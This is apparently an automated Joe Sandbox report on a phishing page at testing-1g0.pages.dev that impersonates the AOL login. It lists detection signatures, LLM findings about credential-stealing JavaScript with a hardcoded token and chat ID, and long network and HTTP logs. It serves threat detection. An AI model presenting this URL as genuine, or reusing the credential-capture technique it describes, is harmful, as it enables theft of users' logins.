Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
http://testing-1g0.pages.dev/

Overview

General Information

Sample URL:	http://testing-1g0.pages.dev/
Analysis ID:	1446889
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish64

AI detected suspicious javascript

Phishing site detected (based on logo match)

Connects to several IPs in different countries

Detected non-DNS traffic on DNS port

Executes massive DNS lookups (> 100)

HTML body contains password input but no form action

HTML body with high number of embedded SVGs detected

HTML body with high number of large embedded background images detected

HTML title does not match URL

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 5952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2452,i,18375009690567221965,13761040194635952857,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=10776 --field-trial-handle=2452,i,18375009690567221965,13761040194635952857,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://testing-1g0.pages.dev/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
65.83.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
58.67.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://testing-1g0.pages.dev/	Avira URL Cloud: detection malicious, Label: phishing
Source: http://testing-1g0.pages.dev/	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social usering

Phishing

AI detected phishing page

Source: https://testing-1g0.pages.dev/

LLM: Score: 8 brands: AOL Reasons: The URL 'https://testing-1g0.pages.dev/' does not match the legitimate domain name associated with AOL, which is typically 'aol.com'. The site includes a login form, which is a common feature in phishing sites to capture user credentials. The domain name 'pages.dev' is a generic hosting domain and is not associated with AOL. The use of a well-known brand name (AOL) and the presence of a login form are indicative of social usering techniques often used in phishing attacks. DOM: 0.0.pages.csv

Yara detected HtmlPhish64

Source: Yara match	File source: 65.83.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 58.67.pages.csv, type: HTML

AI detected suspicious javascript

Source: https://testing-1g0.pages.dev/

LLM: Score: 8 Reasons: The code contains suspicious elements such as the presence of a hardcoded token and chat ID, which could be used for unauthorized data transmission. Additionally, the code manipulates the DOM to potentially capture and display sensitive information like email and password, which is a common tactic in phishing attacks. These factors indicate a high risk of malicious intent. DOM: 0.0.pages.csv

Phishing site detected (based on logo match)

Source: https://testing-1g0.pages.dev/

Matcher: Template: aol matched

Source: https://testing-1g0.pages.dev/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://www.aol.com/

HTTP Parser: Total embedded SVG size: 135998

Source: https://testing-1g0.pages.dev/	HTTP Parser: Total embedded background img size: 201340
Source: https://testing-1g0.pages.dev/forgot?lang=en-US&src=guce-mail&done=https%3A%2F%2Fmail.aol.com%2F%3Fguce_referrer%3DaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8%26guce_referrer_sig%3DAQAAAMV1HcA2ap8E1JAzEL1d1RoR7BHgqDyNnC7NHxVoHwo_ZY36BAE_-eVbfvo18WaCCZJWR_2BFs5xSkyqQg3iAq4J5cmfK5fS3JSy8_aNdRxsO20tZuVRSZvbpbt04U-xYnBs0YKiqGikz7l_2JSE_Fm4Oo3ZLzt9_9Zivwbg-xRI	HTTP Parser: Total embedded background img size: 201340
Source: https://testing-1g0.pages.dev/account/create?lang=en-US&src=guce-mail&done=https%3A%2F%2Fmail.aol.com%2F%3Fguce_referrer%3DaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8%26guce_referrer_sig%3DAQAAAMV1HcA2ap8E1JAzEL1d1RoR7BHgqDyNnC7NHxVoHwo_ZY36BAE_-eVbfvo18WaCCZJWR_2BFs5xSkyqQg3iAq4J5cmfK5fS3JSy8_aNdRxsO20tZuVRSZvbpbt04U-xYnBs0YKiqGikz7l_2JSE_Fm4Oo3ZLzt9_9Zivwbg-xRI&specId=yidReg	HTTP Parser: Total embedded background img size: 201340

Source: https://testing-1g0.pages.dev/

HTTP Parser: Title: AOL does not match URL

Source: https://testing-1g0.pages.dev/

HTTP Parser: <input type="password" .../> found

Source: about:blank	HTTP Parser: No favicon
Source: about:blank	HTTP Parser: No favicon
Source: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html	HTTP Parser: No favicon
Source: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html	HTTP Parser: No favicon
Source: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html	HTTP Parser: No favicon
Source: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html	HTTP Parser: No favicon
Source: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html	HTTP Parser: No favicon
Source: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter	HTTP Parser: No favicon
Source: https://js-sec.indexww.com/um/ixmatch.html	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	HTTP Parser: No favicon
Source: https://rtb.gumgum.com/usync/prbds2s?gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=ttd&i=8369ae03-bf51-422b-a15c-33306b0e1dfe	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=sus&i=Zk-ElMCo8XwAALxnKz0AAAAA	HTTP Parser: No favicon
Source: https://eus.rubiconproject.com/usync.html?p=gumgum	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=adf&i=8785666810998501200&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=rth&i=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=gumgum&tc=1	HTTP Parser: No favicon
Source: https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=ZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWM=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv&google_tc=	HTTP Parser: No favicon
Source: https://eus.rubiconproject.com/usync.html?gdpr=0&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1	HTTP Parser: No favicon
Source: https://contextual.media.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CUBQTSIL&prvid=2034%2C2031%2C2030%2C233%2C2028%2C2027%2C2026%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://cdn.taboola.com/libtrc/static/topics/taboola-browsing-topics.html	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&predirect=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dpubmatic%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&predirect=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dpubmatic%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&predirect=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dpubmatic%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&predirect=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dpubmatic%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D	HTTP Parser: No favicon
Source: https://ads.yieldmo.com/pbcas?us_privacy=1YNN&gdpr=0&gdpr_consent=&type=iframe	HTTP Parser: No favicon
Source: https://yahoo-bidout-d.openx.net/w/1.0/pd?gdpr=0&gdpr_consent=&us_privacy=1YNN	HTTP Parser: No favicon
Source: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://aax-eu.amazon-adsystem.com/s/dcm?pid=4bd6ceca-c698-4782-a536-f380f757484c&id=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent=&dcc=t	HTTP Parser: No favicon
Source: https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=9165965397510453586&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://securepubads.g.doubleclick.net/static/topics/topics_frame.html	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9	HTTP Parser: No favicon
Source: https://help.aol.com/	HTTP Parser: No favicon
Source: https://help.aol.com/	HTTP Parser: No favicon
Source: https://help.aol.com/	HTTP Parser: No favicon
Source: https://c1.adform.net/serving/cookie/match?party=14&cid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://widget.us.criteo.com/dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=wDRi3Y1XWudtyec5KKvj7ggue68&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzOTkmdGw9NDMyMDA%3D&piggybackCookie=7372327276449101969&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPUa81a22b1334148ecb90f459b2fd358d9	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=5134455425174035855	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=b6bfeee6-1954-11ef-855d-a248653d767a	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=pbm&i=BD0DE19C-09D4-4B62-A188-46A0D2E6C177	HTTP Parser: No favicon
Source: https://imasdk.googleapis.com/js/core/bridge3.642.0_en.html#goog_980501800	HTTP Parser: No favicon
Source: https://imasdk.googleapis.com/js/core/bridge3.642.0_en.html#goog_980501800	HTTP Parser: No favicon
Source: https://d5p.de17a.com/getuid/pubmatic?https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3NDUmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=$UID	HTTP Parser: No favicon
Source: https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}	HTTP Parser: No favicon
Source: https://opus.analytics.yahoo.com/tag/opus-frame.html?referrer=https%3A%2F%2Fwww.aol.com%2F&tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14&axids=gam%3Dy-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A%26dv360%3DeS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B%26ydsp%3Dy-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A%26tbla%3Dy-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AANRF07Mn4kAABWNJQroRw&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://membernotifications.aol.com/offers/aolHelp/mobileazpage?cobrand=usaol	HTTP Parser: No favicon
Source: https://ssp-sync.criteo.com/user-sync/iframe?gdprapplies=0&gdpr=&ccpa=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dcriteo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24%7BCRITEO_USER_ID%7D&profile=230	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw&piggybackCookie=HHt10NrrgWMXUjRbaYMbgSVY&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA=&piggybackCookie=RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003	HTTP Parser: No favicon
Source: https://sync.targeting.unrulymedia.com/csync/RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003	HTTP Parser: No favicon
Source: https://u.openx.net/w/1.0/cm?id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D	HTTP Parser: No favicon
Source: https://eb2.3lift.com/sync?gdpr=0&cmp_cs=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dtriplelift%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID	HTTP Parser: No favicon
Source: https://ce.lijit.com/beacon/prebid-server/?&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID	HTTP Parser: No favicon
Source: https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://membernotifications.aol.com/offers/aolHelp/searchresults?cobrand=usaol	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26type%3Dpba%26gdpr%3D0%26gdpr_consent%3D%26ovsid%3DPM_UID	HTTP Parser: No favicon
Source: https://onetag-sys.com/usync/?pubId=5d49f482552c9b6	HTTP Parser: No favicon
Source: https://contextual.media.net/cksync.php?cs=8&type=pba&gdpr=0&gdpr_consent=&ovsid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177	HTTP Parser: No favicon

Source: https://testing-1g0.pages.dev/

HTTP Parser: No <meta name="author".. found

Source: https://testing-1g0.pages.dev/

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.214.149.91:443 -> 192.168.2.6:51145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.27:443 -> 192.168.2.6:51268 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 37MB

Source: unknown

Network traffic detected: IP country count 10

Source: global traffic

TCP traffic: 192.168.2.6:50101 -> 1.1.1.1:53

Source: global traffic

DNS traffic detected: number of DNS queries: 173

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180
Source: unknown	TCP traffic detected without corresponding DNS query: 164.132.25.180

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: testing-1g0.pages.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/assets/images/ns/aol-logo-black-v.0.0.2.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://testing-1g0.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/assets/images/ybar/aol-logo-white-v0.0.4.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://testing-1g0.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/mbr/images/checkbox-unchecked.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://testing-1g0.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/assets/images/ybar/aol-logo-white-v0.0.4.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/assets/images/ns/aol-logo-black-v.0.0.2.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/login/aol-favicon.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://testing-1g0.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
